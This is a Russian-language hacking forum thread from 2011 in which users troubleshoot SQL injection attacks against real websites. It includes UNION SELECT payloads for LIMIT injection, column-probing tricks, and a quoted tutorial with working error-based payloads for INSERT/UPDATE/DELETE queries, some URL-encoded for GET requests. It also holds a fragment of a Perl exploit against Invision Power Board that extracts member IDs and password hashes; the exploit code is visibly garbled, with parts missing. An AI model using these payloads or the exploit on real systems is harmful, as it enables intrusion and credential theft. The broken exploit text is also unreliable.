ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

11.08.2011, 22:54
|
|
Guest
Сообщений: n/a
Провел на форуме: 262707
Репутация:
935
|
|
Сообщение от Tiku$
Tiku$ said:
Expl0ited,
Moriarty, не подскажешь может статья какая-то есть? а то я первый раз))
/thread43966.html
|
|
|
|

11.08.2011, 23:04
|
|
Guest
Сообщений: n/a
Провел на форуме: 262707
Репутация:
935
|
|
Сообщение от Moriarty
Moriarty said:
Статья хз...всё практика)
Вообщем инъекция в LIMIT есть тогда, когда нету ORDER BY.
А ошибка пропадет, когда количество колонок правильное подберешь (в данном случае таблицы users)...
Короче не ленись: 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
Если бы твой опыт подсказал обратить внимание на запрос к бд который вываливается в ошибке:
Код:
Code:
SELECT user_id, username, user_unread_privmsg FROM users WHERE user_active = 1 LIMIT 2000', 1
то ты сразу бы заметил, что в данном случае всего три колонки участвующий в запросе user_id, username, user_unread_privmsg, соответственно иъекция должна быть вида:
union select 1,2,3#
|
|
|
|

11.08.2011, 23:39
|
|
Guest
Сообщений: n/a
Провел на форуме: 19272
Репутация:
0
|
|
почему при использовании эксплойта в перл, при выводе
MySQL version:
Data dir:
User:
Database:
id:
group:
Все строки пустые?
|
|
|
|

11.08.2011, 23:43
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме: 4072944
Репутация:
1550
|
|
потому что гладиолус....какой експлоит ?..кaк вбивал данные..и тд и тп..?
|
|
|

12.08.2011, 00:08
|
|
Guest
Сообщений: n/a
Провел на форуме: 19272
Репутация:
0
|
|
[CODE]
Code:
#!/usr/bin/perl
## Invision Power Board SQL injection exploit by RTC-GNC-XxxEmchExxX
## vulnerable forum versions : 1.* , 2.* ,3.*( 0){
print qq{bb DONE ]
MEMBER ID : $member_id
};
print (($target)?('MEMBER_LOGIN_KEY : ')  'PASSWORD : '));
print $allchar."\r\n";
}
else
{
print "\b\b FAILED ]";
}
exit();
}
else
{
$allchar .= chr(42);
}
$s_num++;
}
sub found($$)
{
my $fmin = $_[0];
my $fmax = $_[1];
if (($fmax-$fmin)new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80");
printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s%s\nConnection: close\n\n",
$path,$server,$cmember_id,$pass_hash1,$cmember_id, $pass_hash2,$pass_hash3,$nmalykh);
while()
{
if (/Set-Cookie: session_id=0;/) { return 1; }
}
return 0;
}
sub status()
{
$status = $n % 5;
if($status==0){ print "\b\b/]"; }
if($status==1){ print "\b\b-]"; }
if($status==2){ print "\b\b\\]"; }
if($status==3){ print "\b\b|]"; }
}
sub usage()
{
print q(
Invision Power Board v
|
|
|
|

12.08.2011, 00:12
|
|
Guest
Сообщений: n/a
Провел на форуме: 262707
Репутация:
935
|
|
Сообщение от ne0k
ne0k said:
Интересно.. Поиграюсь вечером..
Есть еще вопрос. Возможно ли провести sql inj при INSERT в БД данных из массива? При этом, данные, в массиве из $_POST, и ни коем образом не фильтруются...
Вот так:
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]$wpdb[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]insert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]TABLE[/COLOR][COLOR="#007700"],
array([/COLOR][COLOR="#DD0000"]'type'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$type[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'settings'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]serialize[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$settings[/COLOR][COLOR="#007700"]),
[/COLOR][COLOR="#DD0000"]'created'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]date[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"Y-m-d"[/COLOR][COLOR="#007700"]),
[/COLOR][COLOR="#DD0000"]'title'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'title'[/COLOR][COLOR="#007700"]],
[/COLOR][COLOR="#DD0000"]'description'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'description'[/COLOR][COLOR="#007700"]]));
[/COLOR][/COLOR]
Смог реализовать активную XSS.. Данные инсертятся в БД без какой либо фильтрации, соответственно потом, при выборке title и или description, срабатывает XSS на странице..
Возможно провести инъекцию если есть вывод ошибки. Процитирую сообщение s4avrd0w:
Сообщение от None
SQLi в Insert/Update/Delete/etc
Все знают, что склеивание строк в MySQL происходит с использованием функций concat() и concat_ws(), а также с использованием комментариев /**/ и /*!12345*/, или, с использованием "размешивания" кавычек "1"'2'"3" и '1'"2"'3'.
Но не все знают, что MySQL поддерживает все следующие операнды для работы со строками:
+, -, =, &, |, &&, ||, , =, !=, <>, ^, *, >, <>, %, /, , or not, and not, div, xor, or, and
помимо привычных like, sounds like, regexp, rlike, not like, not regexp и т.д.
Так, запросы вида:
select * from users where name = 'te'+'st';
select * from users where name = 'te'='st';
вернут все содержимое таблицы users т.к. (select 'te'+'st') и (select 'te'='st') = 0
А запросы вида (select 'te'%'st') и (select 'te'/'st') = NULL и потому, в приведенной выше конструкции, аналогичным образом указанные запросы вернут содержимое всей таблицы.
Стоит сказать, что символы + и - можно "плодить" до бесконечности. И только, когда будет достигнут лимит строки (у меня это 1048577) результатом станет NULL.
К слову, для конструкций вида:
!=!, !=!!, !=!!! … !=!!!!! или !=!!>! или !=!! или !=!~!~! или !=!+! или !=!-!
это утверждение также справедливо.
Все приведенное выше находит свое применение, когда SQLi попадает в строковый параметр. И если в selection-based инъекциях можно на это особо не заморачиваться, то при эксплуатации инъекций в insert/update/delete/etc с этим приходится сталкиваться. Примеры:
/*(1)*/ insert into users (id,name) values (1,'sqli');
mysql> insert into users (id,name) values (1,''&(select 1 from(select count(*),concat((select user()from information_schema.tables limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a));
ERROR 1062 (23000): Duplicate entry 'root@localhost:1' for key 'group_key'
в http/get:
/index.php?s='%2b(select+1+from(select+count(*),con cat((select+user ()+from+information_schema.tables+limit+0,1),0x3a, floor(rand(0)*2))x+from+information_schema.tables+ group+by+x)a)%2b'
/index.php?s='%26(select+1+from(select+count(*),con cat((select+user ()+from+information_schema.tables+limit+0,1),0x3a, floor(rand(0)*2))x+from+information_schema.tables+ group+by+x)a)%26'
/*(2)*/ insert into users set name='sqli';
mysql> insert into users set name=''div(select 1 from(select count(*),concat((select user()from information_schema.tables limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a)!=!!!'';
ERROR 1062 (23000): Duplicate entry 'root@localhost:1' for key 'group_key'
mysql> insert into users set name=''and(select 1 from(select count(*),concat((select user()from information_schema.tables limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a)or'';
ERROR 1062 (23000): Duplicate entry 'root@localhost:1' for key 'group_key'
Для Update/Delete запросы аналогичным образом будут работать.
|
|
|
|

12.08.2011, 01:11
|
|
Guest
Сообщений: n/a
Провел на форуме: 19272
Репутация:
0
|
|
Вопрос, если пишет при поиске пароля через перл - FAILED , то значит что фикс?
И еще вопрос, что в перле означает target?
|
|
|
|

12.08.2011, 05:14
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме: 4072944
Репутация:
1550
|
|
Сообщение от WTSBugzoff
WTSBugzoff said:
Вопрос, если пишет при поиске пароля через перл - FAILED , то значит что фикс?
И еще вопрос, что в перле означает target?
да...цель
|
|
|

12.08.2011, 09:13
|
|
Guest
Сообщений: n/a
Провел на форуме: 8683
Репутация:
-5
|
|
делаю start=99999999+union+select+1,2,3--+
и сервер не отвечает, на большинство остальных заросов типа start=99999999+union+select+1,2,3,4,5--+ он нормально реагирует и выдает ошибку
почему так?
|
|
|
|

12.08.2011, 10:00
|
|
Guest
Сообщений: n/a
Провел на форуме: 262707
Репутация:
935
|
|
Сообщение от Tiku$
Tiku$ said:
делаю start=99999999+union+select+1,2,3--+
и сервер не отвечает, на большинство остальных заросов типа start=99999999+union+select+1,2,3,4,5--+ он нормально реагирует и выдает ошибку
почему так?
скорее всего получившиеся данные обрабатывается еще каким-то способом, что ведет к глобальному фейлу скрипта, попробуй сделать так:
start=99999999+union+select+1111,null,null--+
start=99999999+union+select+null,2222,null--+
start=99999999+union+select+null,null,3333--+
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|